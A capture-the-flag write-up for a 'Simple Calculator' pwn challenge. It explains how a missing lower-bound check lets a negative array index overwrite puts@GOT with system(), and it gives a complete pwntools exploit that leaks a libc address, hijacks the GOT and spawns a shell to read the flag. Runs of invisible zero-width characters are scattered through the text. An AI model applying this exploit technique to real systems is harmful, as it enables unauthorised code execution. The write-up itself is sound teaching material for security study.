← Back to Writeups
CUSTOMEasypwn

Простой калькулятор (Simple Calculator)

XESXOR9/2/20263 min read
#pwn#custom#easy#got_plt_hijack#libc_offset_calculation#negative_array_index

Простой калькулятор (Simple Calculator)

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: got_plt_hijack, libc_offset_calculation, negative_array_index

Summary

Task: Calculator binary with array index bounds check only for upper limit. Solution: Use negative array index to overwrite puts@GOT with system() address, then trigger shell via greet function.

Простой калькулятор (Simple Calculator) - DUCKERZ CTF

Description

Very simple, very dimple calculator.

Files: simple_calc (ELF 64-bit), nc tasks.duckerz.ru 30008

Analysis

Binary Protections

RELRO:    No RELRO          <-- GOT writable!
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE

Program Structure

  • add_value() - adds a value to the nums array at a given index
  • summarize() - sums array elements
  • multiply() - multiplies elements
  • giiift() - prints addresses of printf@libc and greet
  • greet() - asks for a name and outputs it via puts()
  • main() - operation selection menu ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

In the add_value() function, only the upper bound of the index is checked:

c
if (index > 1000) {
    puts("Invalid index");
    return;
}
nums[index] = value;  // Negative index NOT checked!

This allows writing at negative indices, reaching the GOT table.

Key Addresses

ObjectAddress
nums array0x404080
puts@GOT0x404000
printf@GOT0x403fd8

Index calculation:

index = (puts_got - nums_addr) / 8
index = (0x404000 - 0x404080) / 8 = -16

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Leaking libc Address

Option 4 (giiift) prints the printf address in libc:

It's for your 0x7f...900 0x4012fb

Step 2: Calculating Addresses

For libc6_2.41-12_amd64:

  • printf_offset = 0x59900
  • system_offset = 0x53110
python
libc_base = printf_addr - 0x59900
system_addr = libc_base + 0x53110

Step 3: GOT Overwrite

Write the system() address to puts@GOT via negative index:

python
p.sendline(b"1")  # add_value
p.sendline(str(-16).encode())  # index = -16
p.sendline(str(system_addr).encode())  # value = system@libc

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Getting Shell

Call greet (option 5), enter "sh" as the name:

  • puts(name) becomes system("sh")
  • Shell obtained!

Exploit

python
#!/usr/bin/env python3
from pwn import *
import re as regex
import time

HOST = "tasks.duckerz.ru"
PORT = 30008

def exploit():
    p = remote(HOST, PORT)
    p.recvuntil(b"> ")
    
    # Leak printf@libc
    p.sendline(b"4")
    data = p.recvuntil(b"> ")
    addrs = regex.findall(r'0x[0-9a-f]+', data.decode())
    printf_addr = int(addrs[0], 16)
    
    # Calculate addresses (libc6_2.41-12_amd64)
    printf_off = 0x59900
    system_off = 0x53110
    libc_base = printf_addr - printf_off
    system_addr = libc_base + system_off
    
    # Overwrite puts@GOT with system
    puts_got = 0x404000
    nums_addr = 0x404080
    index = (puts_got - nums_addr) // 8  # -16
    
    p.sendline(b"1")
    p.recvuntil(b"Index in array:")
    p.sendline(str(index).encode())
    p.recvuntil(b"New number:")
    p.sendline(str(system_addr).encode())
    
    time.sleep(0.3)
    
    # Trigger: greet -> puts(name) -> system("sh")
    p.sendline(b"5")
    time.sleep(0.3)
    p.sendline(b"sh")
    time.sleep(0.3)
    
    # Get flag
    p.sendline(b"cat flag")
    data = p.recvall(timeout=5)
    print(data)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

exploit()

Techniques

GOT Overwrite

GOT (Global Offset Table) contains addresses of functions from dynamic libraries. Without RELRO protection, GOT can be overwritten:

puts@GOT: 0x7f...libc_puts  -->  0x7f...libc_system

After this, any call to puts(arg) becomes system(arg).

Negative Array Index

If only index > MAX is checked, but not index < 0:

c
if (index > 1000) return;  // Negative passes!
array[index] = value;      // Write before array start

This allows writing to memory before the array start, including GOT. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Libc Offset Calculation

  1. Obtain any address from libc (printf, puts, etc.)
  2. Calculate base: libc_base = leaked_addr - known_offset
  3. Find system: system_addr = libc_base + system_offset

Offsets can be found via:

  • readelf -s libc.so.6 | grep printf
  • libc database (libc.blukat.me) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍